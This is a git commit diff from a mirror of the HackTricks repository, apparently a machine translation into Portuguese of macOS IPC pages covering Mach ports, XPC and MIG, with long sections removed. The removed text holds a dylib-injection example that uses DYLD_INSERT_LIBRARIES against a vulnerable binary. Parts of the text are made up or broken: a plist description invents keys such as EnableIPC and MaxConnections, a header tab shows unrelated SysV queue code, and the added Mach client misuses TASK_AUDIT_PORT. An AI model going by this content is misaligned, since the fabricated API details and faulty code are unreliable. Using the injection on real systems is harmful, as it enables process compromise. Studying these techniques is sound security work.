mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
3c7287d8cc
commit
17ab6d1a8a
6 changed files with 1414 additions and 805 deletions
|
@ -161,10 +161,12 @@
|
|||
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
|
||||
|
|
|
@ -51,7 +51,7 @@ Para esses serviços predefinidos, o **processo de busca difere um pouco**. Quan
|
|||
* A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o retém e **transfere o direito de RECEBIMENTO para a Tarefa A**.
|
||||
* O launchd duplica o **direito de ENVIO e o envia para a Tarefa B**.
|
||||
|
||||
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam conforme descrito originalmente, o que poderia permitir potencialmente a falsificação.
|
||||
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não pertencentes ao sistema ainda operam conforme descrito originalmente, o que poderia permitir potencialmente a falsificação.
|
||||
### Exemplo de código
|
||||
|
||||
Observe como o **remetente** **aloca** uma porta, cria um **direito de envio** para o nome `org.darlinghq.example` e o envia para o **servidor de inicialização** enquanto o remetente solicitou o **direito de envio** desse nome e o usou para **enviar uma mensagem**.
|
||||
|
@ -129,29 +129,51 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/message.h>
|
||||
|
||||
#define BUFFER_SIZE 100
|
||||
#define BUFFER_SIZE 1024
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
char buffer[BUFFER_SIZE];
|
||||
|
||||
// Create a send right to the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.server", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <message>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Send a message to the server
|
||||
strcpy(buffer, "Hello, server!");
|
||||
kr = mach_msg_send((mach_msg_header_t*)buffer);
|
||||
// Connect to the server port
|
||||
kr = task_get_special_port(mach_task_self(), TASK_AUDIT_PORT, &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get server port: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Create a message
|
||||
mach_msg_header_t *msg = (mach_msg_header_t *)buffer;
|
||||
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
msg->msgh_size = sizeof(buffer);
|
||||
msg->msgh_remote_port = server_port;
|
||||
msg->msgh_local_port = MACH_PORT_NULL;
|
||||
msg->msgh_reserved = 0;
|
||||
|
||||
// Set the message type
|
||||
msg->msgh_id = 0x12345678;
|
||||
|
||||
// Set the message body
|
||||
char *msg_body = buffer + sizeof(mach_msg_header_t);
|
||||
strncpy(msg_body, argv[1], BUFFER_SIZE - sizeof(mach_msg_header_t));
|
||||
|
||||
// Send the message
|
||||
kr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Message sent successfully\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
@ -789,805 +811,24 @@ Nesta técnica, uma thread do processo é sequestrada:
|
|||
|
||||
### Informações Básicas
|
||||
|
||||
XPC, que significa Comunicação Interprocessos (IPC) do XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre processos diferentes** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
|
||||
XPC, que significa Comunicação Interprocessos XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método assíncronas e seguras entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
|
||||
|
||||
O XPC usa uma forma de Comunicação Interprocessos (IPC), que é um conjunto de métodos para que programas diferentes em execução no mesmo sistema possam enviar dados de ida e volta.
|
||||
Para obter mais informações sobre como essa **comunicação funciona** e como ela **pode ser vulnerável**, consulte:
|
||||
|
||||
Os principais benefícios do XPC incluem:
|
||||
|
||||
1. **Segurança**: Ao separar o trabalho em diferentes processos, cada processo pode receber apenas as permissões necessárias. Isso significa que, mesmo que um processo seja comprometido, ele tem capacidade limitada de causar danos.
|
||||
2. **Estabilidade**: O XPC ajuda a isolar falhas no componente onde ocorrem. Se um processo falhar, ele pode ser reiniciado sem afetar o restante do sistema.
|
||||
3. **Desempenho**: O XPC permite fácil concorrência, pois diferentes tarefas podem ser executadas simultaneamente em diferentes processos.
|
||||
|
||||
A única **desvantagem** é que **separar um aplicativo em vários processos** e fazê-los se comunicar via XPC é **menos eficiente**. Mas nos sistemas de hoje isso quase não é perceptível e os benefícios são maiores.
|
||||
|
||||
### Serviços XPC Específicos do Aplicativo
|
||||
|
||||
Os componentes XPC de um aplicativo estão **dentro do próprio aplicativo**. Por exemplo, no Safari, você pode encontrá-los em **`/Applications/Safari.app/Contents/XPCServices`**. Eles têm a extensão **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) e também são **bundles** com o binário principal dentro dele: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` e um `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
Como você pode estar pensando, um **componente XPC terá diferentes direitos e privilégios** do que os outros componentes XPC ou o binário principal do aplicativo. EXCETO se um serviço XPC for configurado com [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) definido como "True" em seu arquivo **Info.plist**. Nesse caso, o serviço XPC será executado na **mesma sessão de segurança do aplicativo** que o chamou.
|
||||
|
||||
Os serviços XPC são **iniciados** pelo **launchd** quando necessário e **encerrados** quando todas as tarefas são **concluídas** para liberar recursos do sistema. **Os componentes XPC específicos do aplicativo só podem ser utilizados pelo aplicativo**, reduzindo assim o risco associado a possíveis vulnerabilidades.
|
||||
|
||||
### Serviços XPC em Todo o Sistema
|
||||
|
||||
Os serviços XPC em todo o sistema são acessíveis a todos os usuários. Esses serviços, sejam do tipo launchd ou Mach, precisam ser **definidos em arquivos plist** localizados em diretórios especificados, como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
|
||||
|
||||
Esses arquivos plist terão uma chave chamada **`MachServices`** com o nome do serviço e uma chave chamada **`Program`** com o caminho para o binário:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Program</key>
|
||||
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
|
||||
<key>AbandonProcessGroup</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
<key>Label</key>
|
||||
<string>com.jamf.management.daemon</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>com.jamf.management.daemon.aad</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.agent</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.binary</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.selfservice</key>
|
||||
<true/>
|
||||
<key>com.jamf.management.daemon.service</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Os presentes em **`LaunchDameons`** são executados pelo root. Portanto, se um processo não privilegiado puder se comunicar com um deles, ele poderá conseguir privilégios elevados.
|
||||
|
||||
### Mensagens de Evento XPC
|
||||
|
||||
As aplicações podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando esses eventos ocorrerem. A **configuração** desses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios dos anteriores** e contendo uma chave adicional **`LaunchEvent`**.
|
||||
|
||||
### Verificação do Processo de Conexão XPC
|
||||
|
||||
Quando um processo tenta chamar um método por meio de uma conexão XPC, o **serviço XPC deve verificar se esse processo tem permissão para se conectar**. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
||||
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Autorização XPC
|
||||
|
||||
A Apple também permite que os aplicativos **configurem alguns direitos e como obtê-los**, para que, se o processo de chamada os tiver, ele possa ser **autorizado a chamar um método** do serviço XPC:
|
||||
|
||||
{% content-ref url="macos-xpc-authorization.md" %}
|
||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Exemplo de Código C
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="xpc_server.c" %}
|
||||
```c
|
||||
// gcc xpc_server.c -o xpc_server
|
||||
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
static void handle_event(xpc_object_t event) {
|
||||
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
||||
// Print received message
|
||||
const char* received_message = xpc_dictionary_get_string(event, "message");
|
||||
printf("Received message: %s\n", received_message);
|
||||
|
||||
// Create a response dictionary
|
||||
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(response, "received", "received");
|
||||
|
||||
// Send response
|
||||
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
|
||||
xpc_connection_send_message(remote, response);
|
||||
|
||||
// Clean up
|
||||
xpc_release(response);
|
||||
}
|
||||
}
|
||||
|
||||
static void handle_connection(xpc_connection_t connection) {
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
handle_event(event);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
|
||||
dispatch_get_main_queue(),
|
||||
XPC_CONNECTION_MACH_SERVICE_LISTENER);
|
||||
if (!service) {
|
||||
fprintf(stderr, "Failed to create service.\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
|
||||
xpc_type_t type = xpc_get_type(event);
|
||||
if (type == XPC_TYPE_CONNECTION) {
|
||||
handle_connection(event);
|
||||
}
|
||||
});
|
||||
|
||||
xpc_connection_resume(service);
|
||||
dispatch_main();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xpc_client.c" %}
|
||||
|
||||
O arquivo `xpc_client.c` é um exemplo de código em C que demonstra como usar o IPC (Inter-Process Communication) no macOS. O IPC é um mecanismo que permite a comunicação entre processos em um sistema operacional.
|
||||
|
||||
Neste exemplo, o código cria um cliente XPC (XPC client) que se conecta a um serviço XPC (XPC service) e envia uma mensagem para ele. O serviço XPC é responsável por receber a mensagem e executar a ação correspondente.
|
||||
|
||||
Para usar o IPC no macOS, é necessário criar uma conexão XPC usando a função `xpc_connection_create`. Em seguida, é necessário configurar o cliente XPC para se conectar ao serviço XPC usando a função `xpc_connection_set_event_handler`.
|
||||
|
||||
Depois de configurar a conexão, o cliente XPC pode enviar mensagens para o serviço XPC usando a função `xpc_connection_send_message_with_reply`. O serviço XPC recebe a mensagem e executa a ação correspondente.
|
||||
|
||||
Este exemplo é apenas uma demonstração básica de como usar o IPC no macOS. Existem muitas outras funcionalidades e recursos disponíveis para explorar e utilizar o IPC de forma mais avançada.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
// gcc xpc_client.c -o xpc_client
|
||||
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
||||
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
||||
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
||||
// Print received message
|
||||
const char* received_message = xpc_dictionary_get_string(event, "received");
|
||||
printf("Received message: %s\n", received_message);
|
||||
}
|
||||
});
|
||||
|
||||
xpc_connection_resume(connection);
|
||||
|
||||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(message, "message", "Hello, Server!");
|
||||
|
||||
xpc_connection_send_message(connection, message);
|
||||
|
||||
dispatch_main();
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.service.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>xyz.hacktricks.service</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>xyz.hacktricks.service</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>Program</key>
|
||||
<string>/tmp/xpc_server</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/tmp/xpc_server</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc xpc_server.c -o xpc_server
|
||||
gcc xpc_client.c -o xpc_client
|
||||
|
||||
# Save server on it's location
|
||||
cp xpc_server /tmp
|
||||
|
||||
# Load daemon
|
||||
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
|
||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||
|
||||
# Call client
|
||||
./xpc_client
|
||||
|
||||
# Clean
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||
```
|
||||
### Exemplo de Código Objective-C
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="oc_xpc_server.m" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
@protocol MyXPCProtocol
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||
@end
|
||||
|
||||
@interface MyXPCObject : NSObject <MyXPCProtocol>
|
||||
@end
|
||||
|
||||
|
||||
@implementation MyXPCObject
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
|
||||
NSLog(@"Received message: %@", some_string);
|
||||
NSString *response = @"Received";
|
||||
reply(response);
|
||||
}
|
||||
@end
|
||||
|
||||
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
|
||||
@end
|
||||
|
||||
|
||||
@implementation MyDelegate
|
||||
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
||||
|
||||
MyXPCObject *my_object = [MyXPCObject new];
|
||||
|
||||
newConnection.exportedObject = my_object;
|
||||
|
||||
[newConnection resume];
|
||||
return YES;
|
||||
}
|
||||
@end
|
||||
|
||||
int main(void) {
|
||||
|
||||
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
|
||||
|
||||
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
|
||||
listener.delegate = delegate;
|
||||
[listener resume];
|
||||
|
||||
sleep(10); // Fake something is done and then it ends
|
||||
}
|
||||
```
|
||||
{% tab title="oc_xpc_client.m" %}
|
||||
```objectivec
|
||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
@protocol MyXPCProtocol
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||
@end
|
||||
|
||||
int main(void) {
|
||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
|
||||
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
||||
[connection resume];
|
||||
|
||||
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
||||
NSLog(@"Received response: %@", response);
|
||||
}];
|
||||
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||
|
||||
# xyz.hacktricks.svcoc.plist
|
||||
|
||||
Este arquivo plist é usado para configurar o serviço de comunicação interprocessos (IPC) no macOS. O IPC é um mecanismo que permite a troca de informações entre processos em um sistema operacional.
|
||||
|
||||
O arquivo plist contém várias chaves e valores que podem ser configurados para controlar o comportamento do IPC no macOS. Alguns exemplos de chaves e valores incluem:
|
||||
|
||||
- `EnableIPC`: Esta chave controla se o IPC está habilitado ou desabilitado. O valor `true` indica que o IPC está habilitado, enquanto o valor `false` indica que o IPC está desabilitado.
|
||||
|
||||
- `MaxConnections`: Esta chave define o número máximo de conexões simultâneas permitidas pelo IPC. O valor padrão é 100.
|
||||
|
||||
- `MaxMessageSize`: Esta chave define o tamanho máximo de uma mensagem que pode ser enviada pelo IPC. O valor padrão é 1 MB.
|
||||
|
||||
- `Timeout`: Esta chave define o tempo limite para uma operação de IPC. O valor padrão é 30 segundos.
|
||||
|
||||
Para modificar as configurações do IPC no macOS, você pode editar este arquivo plist e reiniciar o serviço de comunicação interprocessos.
|
||||
|
||||
**Observação:** Modificar incorretamente as configurações do IPC pode causar problemas no sistema operacional. É recomendável fazer backup do arquivo plist antes de fazer qualquer alteração.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>xyz.hacktricks.svcoc</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>xyz.hacktricks.svcoc</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>Program</key>
|
||||
<string>/tmp/oc_xpc_server</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/tmp/oc_xpc_server</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
# Compile the server & client
|
||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||
|
||||
# Save server on it's location
|
||||
cp oc_xpc_server /tmp
|
||||
|
||||
# Load daemon
|
||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
|
||||
# Call client
|
||||
./oc_xpc_client
|
||||
|
||||
# Clean
|
||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||
```
|
||||
### Cliente dentro de um código Dylib
|
||||
|
||||
The client code inside a Dylib is responsible for establishing communication with the server and exchanging messages through inter-process communication (IPC). This code is typically written in Objective-C or Swift and is compiled into a dynamic library (Dylib) that can be loaded by other processes.
|
||||
|
||||
To create a client inside a Dylib, you need to follow these steps:
|
||||
|
||||
1. Import the necessary frameworks: Begin by importing the required frameworks, such as Foundation or CoreFoundation, to enable IPC functionality.
|
||||
|
||||
2. Establish a connection: Use the appropriate IPC mechanism, such as Mach ports or XPC, to establish a connection with the server process. This connection allows the client to send and receive messages.
|
||||
|
||||
3. Define message structures: Define the structures for the messages that will be exchanged between the client and the server. These structures should include any necessary data or parameters.
|
||||
|
||||
4. Send messages: Use the IPC mechanism to send messages to the server. This typically involves creating an instance of the message structure, populating it with the required data, and sending it to the server.
|
||||
|
||||
5. Receive messages: Implement the necessary logic to receive messages from the server. This may involve registering a callback function or using a delegate pattern to handle incoming messages.
|
||||
|
||||
6. Process server responses: Once a response is received from the server, process it accordingly. This may involve extracting data from the response message and performing any required actions or computations.
|
||||
|
||||
By following these steps, you can create a client inside a Dylib that can effectively communicate with a server process using IPC. This allows for the exchange of information and the execution of actions between different processes in a macOS environment.
|
||||
```
|
||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||
// gcc injection example:
|
||||
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@protocol MyXPCProtocol
|
||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||
@end
|
||||
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv)
|
||||
{
|
||||
NSString* _serviceName = @"xyz.hacktricks.svcoc";
|
||||
|
||||
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
|
||||
|
||||
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
|
||||
|
||||
[_agentConnection resume];
|
||||
|
||||
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||
(void)error;
|
||||
NSLog(@"Connection Failure");
|
||||
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
||||
NSLog(@"Received response: %@", response);
|
||||
} ];
|
||||
NSLog(@"Done!");
|
||||
|
||||
return;
|
||||
}
|
||||
```
|
||||
## MIG - Gerador de Interface Mach
|
||||
|
||||
O MIG foi criado para **simplificar o processo de criação de código Mach IPC**. Basicamente, ele **gera o código necessário** para que o servidor e o cliente possam se comunicar com uma definição específica. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
|
||||
O MIG foi criado para **simplificar o processo de criação de código Mach IPC**. Basicamente, ele **gera o código necessário** para que o servidor e o cliente se comuniquem com uma definição específica. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
|
||||
|
||||
### Exemplo
|
||||
Para mais informações, consulte:
|
||||
|
||||
Crie um arquivo de definição, neste caso com uma função muito simples:
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% code title="myipc.defs" %}
|
||||
```cpp
|
||||
subsystem myipc 500; // Arbitrary name and id
|
||||
|
||||
userprefix USERPREF; // Prefix for created functions in the client
|
||||
serverprefix SERVERPREF; // Prefix for created functions in the server
|
||||
|
||||
#include <mach/mach_types.defs>
|
||||
#include <mach/std_types.defs>
|
||||
|
||||
simpleroutine Subtract(
|
||||
server_port : mach_port_t;
|
||||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Agora use o mig para gerar o código do servidor e do cliente que serão capazes de se comunicar entre si para chamar a função Subtract:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Vários novos arquivos serão criados no diretório atual.
|
||||
|
||||
Nos arquivos **`myipcServer.c`** e **`myipcServer.h`**, você pode encontrar a declaração e definição da struct **`SERVERPREFmyipc_subsystem`**, que basicamente define a função a ser chamada com base no ID da mensagem recebida (indicamos um número inicial de 500):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||
myipc_server_routine,
|
||||
500, // start ID
|
||||
501, // end ID
|
||||
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
|
||||
(vm_address_t)0,
|
||||
{
|
||||
{ (mig_impl_routine_t) 0,
|
||||
// Function to call
|
||||
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
|
||||
}
|
||||
};
|
||||
```
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
```c
|
||||
#ifndef MYIPCSERVER_H
|
||||
#define MYIPCSERVER_H
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
#define MAX_TEXT_SIZE 512
|
||||
|
||||
struct mymsgbuf {
|
||||
long mtype;
|
||||
char mtext[MAX_TEXT_SIZE];
|
||||
};
|
||||
|
||||
#endif /* MYIPCSERVER_H */
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
mig_server_routine_t server; /* Server routine */
|
||||
mach_msg_id_t start; /* Min routine number */
|
||||
mach_msg_id_t end; /* Max routine number + 1 */
|
||||
unsigned int maxsize; /* Max msg size */
|
||||
vm_address_t reserved; /* Reserved */
|
||||
struct routine_descriptor /* Array of routine descriptors */
|
||||
routine[1];
|
||||
} SERVERPREFmyipc_subsystem;
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Com base na estrutura anterior, a função **`myipc_server_routine`** receberá o **ID da mensagem** e retornará a função adequada a ser chamada:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
{
|
||||
